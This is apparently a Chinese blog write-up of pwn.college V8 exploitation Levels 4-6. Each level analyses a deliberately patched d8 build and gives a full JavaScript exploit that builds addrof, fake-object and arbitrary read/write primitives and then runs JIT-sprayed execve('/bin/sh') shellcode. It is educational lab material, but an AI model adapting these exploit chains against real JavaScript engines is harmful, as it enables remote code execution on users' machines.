Pwncollege V8 Exploitation (中)

2025博客之星年度评选已开启 10w+人浏览 951人参与

Level4(能改写数组的length,污染map)

环境搭建

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level4/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

修改参数如下:

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

分析

注册了一个setLength方法。

image-20251206110309808

这里是创建了一个新的文件来写这个方法,文件在 src/builtins/array-setlength.tq

定义了ArrayPrototypeSetLength函数。

  • js-implicit 表示这些参数是隐式传递的(由 V8 运行时提供)
  • context: NativeContext - 当前 JavaScript 执行的上下文
  • receiver: JSAny - 函数调用时的 this 值(接收者对象)
  • length: JSAny - 用户传递的 length 参数

后面就是将用户传递的 length 参数转换为 Smi 类型,然后就是将 receiver(this 值)转换为 JSArray 类型,最后就直接赋值了,修改了array的长度。

image-20251206110357352

漏洞利用

因为本题只能设置JsArrayLength

所以大致思路如下:

先构造两个相邻的double_array,再构造一个obj。因为我们可以设置Length,导致我们有了越界读写。

我们先利用第一个 数组对象 利用越界读取中间数组的 map值以及properties

我们再利用中间的 数组对象 利用越界读取下一个objmap值以及properties

后面可以通过污染 Map来获取地址以及任意写了,对于获取地址,我们修改正常objmap中间double数组的map,这样读取obj的元素时就会根据map(已经被修改成double数组的map)来判断读取的方式,因为被修改了,就会当成浮点数,所以 obj[0] 被解释为浮点数(实际是对象指针)。

EXP

var buf = new ArrayBuffer(8);       //分配8字节内存
var f64 = new Float64Array(buf,0,1);    //1个64位浮点数
var u32 = new Uint32Array(buf,0,2);     //2个32位无符号整数
var i32 = new Int32Array(buf,0,2);      //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1);  //1个64位大整数

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v){
    return v & 0xfffffffen;
}

function ptr(v){
    return v | 1;
}

function u32_to_f64(low,high){      //combined (two 4 bytes) word to float
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function f64_to_u64(v){     //float to bigint
    f64[0] = v;
    return u64[0];
}

function u64_to_f64(v){     //bigint to float
    u64[0] = v;
    return f64[0];
}

function u64_to_u32_0(v) {
    u64[0] = v;
    return u32[0];
}

function u64_to_u32_1(v) {
    u64[0] = v;
    return u32[1];
}



function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation


var tag = 1;
var array = new Array(0x1000).fill(1.1);
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};

array.setLength(0x10000);
var rw_map_addr = u64_to_u32_0(f64_to_u64(array[0x1000]));
var rw_properties_addr = u64_to_u32_1(f64_to_u64(array[0x1000]));

logg("rw_map_addr",rw_map_addr);
logg("rw_properties_addr",rw_properties_addr);

// %DebugPrint(array);
// %DebugPrint(rw_array);
// %DebugPrint(obj);
// %SystemBreak();

rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_0(f64_to_u64(rw_array[0x1000]));
var obj_properties_addr = u64_to_u32_1(f64_to_u64(rw_array[0x1000]));
logg("obj_map_addr",obj_map_addr);
logg("obj_properties_addr",obj_properties_addr);
// %SystemBreak();


function GetAddressOf(object) {
    rw_array[0x1000] = u32_to_f64(obj_map_addr,obj_properties_addr);
    obj[0] = object;
    rw_array[0x1000] = u32_to_f64(rw_map_addr,rw_properties_addr);  //obj 现在使用浮点数组 Map
    return u64_to_u32_0(f64_to_u64(obj[0]));  //所以 obj[0] 被解释为浮点数(实际是对象指针)
}


function AAR(addr){
    rw_array[0x1000] = u32_to_f64(rw_map_addr,rw_properties_addr);
    rw_array[0x1001] = u32_to_f64((addr-0x8) | tag,0x20000);
    return f64_to_u64(obj[0]);
}

function AAW(addr,value){
    rw_array[0x1000] = u32_to_f64(rw_map_addr,rw_properties_addr);
    rw_array[0x1001] = u32_to_f64(addr-0x8 | tag,0x2000);
    obj[0] = u64_to_f64(value);
}

var shellcode_addr = GetAddressOf(shellcode);
var code_addr = unptr(AAR(shellcode_addr+0xc));
var instruction_start_addr = code_addr+0x14n;
var shellcode_start = AAR(Number(instruction_start_addr))+0x6bn;
AAW(Number(instruction_start_addr),shellcode_start);

logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);

shellcode();

// %DebugPrint(shellcode);
// %SystemBreak();

调试分析

如图是两个数组和obj的结构,前两个数组的length已经被修改了,因此我们有了越界读写。

image-20251207223813237

image-20251207223826454

image-20251207223846507

通过越界读取,我们可以拿到中间数组objmap值这些.

image-20251207224212363

当我们读取shellcode的地址时,如下图,Map以及properties被修改成中间数组的mapproperties,所以当读取obj[0]时第一个元素也就是shellcode会被解析成浮点数也就是实际是对象指针。

image-20251207224521359

如上我们可以拿到shellcode的地址,然后还要获取shellcode中的code地址,shellcode结构如下

image-20251207225011647

当我们通过 var code_addr = unptr(AAR(shellcode_addr+0xc));获取code地址时

要修改obj结构map以及elements,如图根据map还是会将元素解析成浮点数也就是能读取地址,然后将elements修改为 shellcode_addr+0xc就能读取code的地址。

image-20251207225347663

如下图就能看到code的地址,前8字节是map后8字节才是code_addr,也就是通过obj[0]读出.

image-20251207225528247

拿到了code_addr,那么根据前面几个题的方法,我们可以很轻松的拿到instruction_start_addr,

然后再利用上面同样的手法读取instruction_start_addr的值后加上0x6b,就可以拿到shellcode_start的地址。

image-20251207225716475

拿到地址后就能利用越界写,将instruction_start_addr的值改成shellcode_start就能拿到shell了.

Level5 (越界读写8字节)

环境搭建

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level5/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn  #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

修改参数如下:

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

分析

添加了一个offByOne的方法

image-20251209223017140

这个就是该方法的主要实现,先对receiver判断是否是JSArray以及数组的元素类型必须是简单类型(即没有 holes、不是对象等)

然后强制转换成JSArray后获取其元素,要求其元素必须是PACKED_DOUBLE_ELEMENTS

然后再判断参数个数不超过两个,实际只传入一个参数,因为args[0]receiver(this)args[1]是可选的写入值。

再把元素以FixedDoubleArray来储存。再获取数组长度并转换为uint32_t类型。

当我们没有传入参数时会进入if分支read mode),read mode直接返回elements[len]的元素内容,很典型的一个越界

当参入参数时会进入else分支(write mode),write mode会先判断传入的值是否是IsNumber,然后将值转换成double类型就直接给elements[len]赋值。

通过分析可以发现这里明显有个 8字节溢出的读写操作,思路大众和Level4一样。

image-20251209223157667

PACKED_DOUBLE_ELEMENTS包括了PACKED_DOUBLE_ELEMENTS、HOLEY_DOUBLE_ELEMENTS、PACKED_ELEMENTSHOLEY_ELEMENTS。如下图:

img

漏洞分析

经过上面的分析可以知道本题是一个8字节的越界读写漏洞。意味着我们可以读写mapproperties

当我们可以控制properties时,我们就有了一种新的利用法式,这里先简单介绍一下。

下面这张图说明了Named Properties通过properties来索引,Indexed Properties通过 elements来索引

img

下面显示的是in-object会直接存储在elements的后面,然后normal properties就还是通过properties来索引

img

列如:

var oob_array = [1.1];
var obj = {in_object: 1};
obj.out_object1 = 2;

查看输出和内存,可以发现 objJS_OBJECT_TYPE类型,

image-20251212150355950

这里的in-object直接存储在elements后面

屏幕截图 2025-12-12 150510

out-objs 也就是normal properties,都使用了properties来索引,这里的值都*2,是因为这个smi的表示

image-20251212151100560

结合上面的观察,可以通过8字节的溢出可以覆盖到properties,那么其实就可以控制normal properties,如果修改为一个objelements然后使用obj.out_object1 = xxxx;索引,同时修改值,这样就可以修改elements的length,同时继续去修改objlength,这样就可以有一个rw_array,有这个rw_array之后,写addressOffakeObjectAARAAW是很简单的了。

EXP

var buf = new ArrayBuffer(8);       //分配8字节内存
var f64 = new Float64Array(buf,0,1);    //1个64位浮点数
var u32 = new Uint32Array(buf,0,2);     //2个32位无符号整数
var i32 = new Int32Array(buf,0,2);      //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1);  //1个64位大整数

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v){
    return v & 0xfffffffen;
}

function ptr(v){
    return v | 1;
}

function u32_to_f64(low,high){      //combined (two 4 bytes) word to float
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function f64_to_u64(v){     //float to bigint
    f64[0] = v;
    return u64[0];
}

function u64_to_f64(v){     //bigint to float
    u64[0] = v;
    return f64[0];
}

function u64_to_u32_0(v) {
    u64[0] = v;
    return u32[0];
}

function u64_to_u32_1(v) {
    u64[0] = v;
    return u32[1];
}



function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation

function read_OffByOne(target){
    return f64_to_u64(target.offByOne())
}

function write_OffByOne(target,val){
    target.offByOne(Number(val));
}

var oob_array = [1.1];
var obj = {in_object: 1};
obj.out_object1 = 2;
var second_array = [2.2];


var obj_map_addr = u64_to_u32_0(read_OffByOne(oob_array));
var obj_properties_addr = u64_to_u32_1(read_OffByOne(oob_array));
var elements_addr_of_oob_array = obj_properties_addr - 0x64;
logg("obj_map_addr",obj_map_addr);
logg("obj_properties_addr",obj_properties_addr);
logg("elements_addr_of_oob_array",elements_addr_of_oob_array);


// %DebugPrint(oob_array);
// %DebugPrint(obj);
// %DebugPrint(second_array);
// %SystemBreak();

write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-0x4));
obj.out_object1 = 0x1000;
write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-4-0x10))
obj.out_object1 = 0x1000;

var second_array_map_properties = f64_to_u64(oob_array[0x10]);

second_array_map = u64_to_u32_0(second_array_map_properties);
second_array_properties = u64_to_u32_1(second_array_map_properties);
logg("second_array_map",second_array_map);
logg("second_array_properties",second_array_properties);

function GetAddresOf(object){
    oob_array[0x10] = u32_to_f64(obj_map_addr,0);
    second_array[0] = object;
    oob_array[0x10] = u32_to_f64(second_array_map,0);
    return f64_to_u64(second_array[0]);
}

function FakeObj(addr){
    oob_array[0x10] = u32_to_f64(second_array_map,0);
    second_array[0] = u32_to_f64(addr,0);
    oob_array[0x10] = u32_to_f64(obj_map_addr,0);
    return second_array[0];
}
var fake_arr = [u32_to_f64(second_array_map,0),u32_to_f64(0,0x1000)];

var fake_arr_addr = u64_to_u32_0(GetAddresOf(fake_arr));
var fake_obj = FakeObj(fake_arr_addr+0x54);

// %DebugPrint(fake_arr);
// %DebugPrint(fake_obj);
// %SystemBreak();

function AAR(addr){
    fake_arr[1] = u32_to_f64(addr-8,0x1000);
    return f64_to_u64(fake_obj[0]);
}

function AAW(addr,val){
    fake_arr[1] = u32_to_f64(addr-8,0x1000);
    fake_obj[0] = u64_to_f64(val);
}

var shellcode_addr = u64_to_u32_0(GetAddresOf(shellcode));
var code_addr = u64_to_u32_0(AAR(shellcode_addr+0xc));
var instruction_start_addr = AAR(code_addr + 0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
AAW(Number(code_addr+0x14),shellcode_start);

logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
shellcode()

调试分析

首先先利用越界读取泄露 obj_map_addrobj_properties_addrelements_addr_of_oob_array

image-20251212153416237

然后利用越界写,改写 oob_arraylength以及oob_arrayelementslength.

image-20251212153345245

image-20251212153502136

改写完length后我们就可以任意越界读取了。

然后就是泄露 second_arraymapproperties

image-20251212153859922

image-20251212153736323

因为前面拿到了Objmap和properties,现在又有second_arramap和properties,因此我们可以利用oob_array越界写改写second_arraymap和properties来造成混淆来泄露地址。

为了达到任意地址泄露读写的能力,我们还需要伪造一个obj。

fake_arr结构如下:

image-20251212190452135

image-20251212191154738

fake_obj通过map混肴,改second_arrayelements[0]分配一个obj,这个fake_obj的地址是fake_arr+0x54的地方,实现fake_obj_elements_addr == fake_arr[1] ;

image-20251212190842490

image-20251212191120970

然后就可以通过修改fake_arr[1]然后读写fake_obj[0]来达到任意地址读写的目的。

Level6

环境搭建

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level6/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn  #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

修改参数如下:

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

分析

注册了一个functionMap方法

image-20251212212449046

这里主要就是判断传入的参数是不是函数(JSFunction),然后对函数进行遍历,取出arr的元素然后转换成obj也就是下面的elem_handle,然后就是解释调用func_obj,也就是用户传入的自定义函数,参数就是elem_handle,将返回值再写入原本的elements内。

image-20251212211527629

漏洞分析

这里没有对于元素类型进行检查,意味着我返回的元素类型可以改变为与原本对象不同的类型,那么这样就会导致原本对象的map改变,这样就可以实现类型混淆。

这里有个需要注意的就是:取值固定认为arrayFixedDoubleArray,这是因为在functionMap开头已经检测过array的类型。但是由于JS Object的类型是动态的,我们完全有可能在自定义的func_obj中修改array的元素导致类型发生转变,从而实现类型混淆。

对于上面的分析,我们就可以尝试构造一个函数,动态的修改arr的类型,下面是addressOf的编写,采用switch case的结构,使用idx进行遍历。第一次执行arr[2] = obj ,成功的导致了map解析的类型发生改变,然后idx1的时候,就会解析出来target的地址.

function GetAddressOf(obj){
    var arr = [1.1,2.2,3.3];
    var addr = 0;
    var idx = 0;
    arr.functionMap((value)=>{
        switch(idx){
        case 0:
            arr[2] = obj;
            idx++;
            return value;
        case 1:
            addr = f64_to_u64(value);
            idx++;
            return value;
        default:
            idx++;
            return value;
        }
    });
    return addr;
}

idx=1可以索引出原本arr[2]的原因是由于类型发生转换,变成obj类型之后,转换成pointer,对应了四字节(也就是指针压缩),所以索引arridx会发生改变。如下图:

img

arr[2] = obj时,arr会变为object类型,此时第二次以double的方式访问原本的arr[1]的位置时,取到的数据的低4位即为object的地址。

接着就是fakeObject,思路是很类似的,这里还是修改arr的类型,然后解析穿入地址,伪造成一个obj,接着调用arr[0]返回,索引的问题和上面是一样的,可以动态调试看下

function fakeObject(address){
    var arr = [1.1,2.2,3.3];
    var obj = {};
    var idx = 0;
    arr.functionMap((value)=>{
        switch(idx){
        case 0:
            idx++;
            arr[2] = obj;
            return u32_to_f64(address,0);
        default:
            idx++;
            return value;
        }
    });
    return arr[0];
}

EXP

var buf = new ArrayBuffer(8);       //分配8字节内存
var f64 = new Float64Array(buf,0,1);    //1个64位浮点数
var u32 = new Uint32Array(buf,0,2);     //2个32位无符号整数
var i32 = new Int32Array(buf,0,2);      //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1);  //1个64位大整数

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v){
    return v & 0xfffffffen;
}

function ptr(v){
    return v | 1;
}

function u32_to_f64(low,high){      //combined (two 4 bytes) word to float
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function f64_to_u64(v){     //float to bigint
    f64[0] = v;
    return u64[0];
}

function u64_to_f64(v){     //bigint to float
    u64[0] = v;
    return f64[0];
}

function u64_to_u32_0(v) {
    u64[0] = v;
    return u32[0];
}

function u64_to_u32_1(v) {
    u64[0] = v;
    return u32[1];
}



function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation

function GetAddressOf(target){
    var arr = [1.1,2.2,3.3];
    var addr = 0;
    var idx = 0;

    // %DebugPrint(arr);
    // %SystemBreak();

    arr.functionMap((value)=>{
        switch(idx){
        case 0:
            arr[2] = target;
            idx++;
            // logg("value",f64_to_u64(value));
            // %DebugPrint(arr);
            // %SystemBreak();
            return value;
        case 1:
            addr = f64_to_u64(value);
            // logg("value",f64_to_u64(value));
            // %SystemBreak();

            idx++;
            return value;
        default:
            idx++;
            return value;
        }
    });
    return addr;
}

function fakeObject(address){
    var arr = [1.1,2.2,3.3];
    var obj = {};
    var idx = 0;
    arr.functionMap((value)=>{
        switch(idx){
        case 0:
            idx++;
            arr[2] = obj;
            // %DebugPrint(arr);
            // %SystemBreak();

            return u32_to_f64(address,0);
        default:
            idx++;
            return value;
        }
    });
    return arr[0];
}

var fake_double_map = [u64_to_f64(0x31040404001c01b5n),u64_to_f64(0x0a8007ff11000844n)];
var fake_double_map_addr = u64_to_u32_0(GetAddressOf(fake_double_map))+0x54;
logg("fake_double_map_addr",fake_double_map_addr);

var fake_array = [u32_to_f64(fake_double_map_addr,0x0),u32_to_f64(0x1,0x1000)];

var fake_array_addr = u64_to_u32_0(GetAddressOf(fake_array))+0x54;
var fake_obj = fakeObject(fake_array_addr);
logg("fake_array_addr",fake_array_addr);

// %DebugPrint(fake_double_map);
// %DebugPrint(fake_array);
// %DebugPrint(fake_obj);
// %SystemBreak();


function AAR(addr){
    fake_array[1] = u32_to_f64(addr-8,0x1000);
    return f64_to_u64(fake_obj[0]);
}

function AAW(addr,val){
    fake_array[1] = u32_to_f64(addr-8,0x1000);
    fake_obj[0] = u64_to_f64(val);
}

var shellcode_addr = u64_to_u32_0(GetAddressOf(shellcode));
var code_addr = u64_to_u32_0(AAR(shellcode_addr + 0xC));
var instruction_start_addr = AAR(code_addr+0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
AAW(Number(code_addr+0x14),shellcode_start);

logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start)
shellcode();


调试分析

对于GetAddressOf在case 0处下断点查看可以看到 arr[2] = obj,然后当case 1时就能取到传入的obj的地址。

image-20251215131921998

然后伪造一个 fake_double_map,其值是 fake_double_mapmap的前16字节内容,如图:
image-20251215132553784

map的内容是:

image-20251215132623084

这里设置这个值的原因是后面伪造fakeobj时,fakeobjmap值要合法所以要这么设置.

然后 fake_double_map_addr = fake_double_map+0x54处时,刚好取到 fake_double_mapelements的第一个元素,也就是0x220e001081cd-1+0x8的值.

image-20251215133022715

然后再构造一个 fake_array,其值就是fake_double_map_addr,和一个u32_to_f64(0x1,0x1000),

image-20251215133502191

image-20251215133552248

然后 fake_array_addr = fake_array+0x54也是刚好取到第一个元素。

image-20251215133650156

最后就是在 fake_array_addr伪造一个fakeObj, 这个fakeObj的地址就是0x220e0010846c+1,map地址就是0x01081d5,elements的地址就是fake_array的第2个元素。如下就是fake_obj的结构

image-20251215134030843

仔细观察就可以发现 fake_obj的地址就是fake_array+0x54也就是fake_array第一个元素处的地址,

fake_objmap就是fake_array第一个元素fake_objelement就是fake_array的第二个元素

然后 fake_array第一个元素也就是 fake_double_map_addr , 也就是 fake_double_map中第一个元素所在的地址。

也就是说 fake_objmap中的值就是fake_double_map数组中伪造的数据

image-20251215134611029

综上所述我们就可以构造出AAR,AAW.

可以通过修改fake_array的第二个元素来修改 fake_obj的elements,后续思路就和前面的Level一样了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值